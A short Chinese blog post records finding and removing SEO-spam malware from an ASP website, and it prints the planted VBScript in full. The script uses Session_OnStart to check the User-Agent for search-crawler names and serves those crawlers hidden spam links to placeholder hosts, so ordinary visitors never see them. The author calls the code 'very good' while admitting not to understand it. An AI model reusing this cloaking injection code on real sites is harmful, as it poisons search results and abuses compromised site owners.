◆◆0

ASP搜索引擎挂马之只允许访问第一次第二次访问不显示挂马

来源： 2019-01-13 16:47:53 Other 1369 0

今天处理问题遇到一个挂马的问题很是奇怪,模拟蜘蛛访问会显示挂马信息，但再次刷新就没有了,多次测试都这样,于是坚定认为是挂马代码中判断了cookie,通过多方排查,终于在网站根目录下的公共文件中找到了此代码了。

代码如下：

<script language="vbscript" runat="server">

'by * blog.tag.gg

sub Application_OnStart

end sub

sub Application_OnEnd

end sub

sub Session_OnStart

user_agent=Request.ServerVariables("HTTP_USER_AGENT")

If check(user_agent)=true then

response.write("<html><body>"&vbcrlf)

response.write("<p><a href=""http://xxxxx/"">非法关键字</b></a></p>"&vbcrlf)

response.write("<p><a href=""http://xxxxx"">非法关键字</a></p>"&vbcrlf)

response.write("</body></html>")

end if

end sub

'sub Session_OnEnd

'end sub

Public Function check(user_agent)

allow_agent=split("spider,robot,Baidu,Google,360spider,sogou,soso",",")

check_agent=false

For agents=lbound(allow_agent) to ubound(allow_agent)

If instr(1,user_agent,allow_agent(agents),1)>0 then

check_agent=true

exit for

end if

Next

check=check_agent

End function

</script>

删除该代码后恢复正常,记录一下,觉得这个代码非常不错,虽然看不懂,哈哈哈

声明：站长码字很辛苦啊,转载时请保留本声明及附带文章链接：https://blog.tag.gg/showinfo-25-369-0.html

亲爱的：若该文章解决了您的问题,可否收藏+评论+分享呢？

相关文章

文章评论 本文章有个评论

文章评论本文章有个评论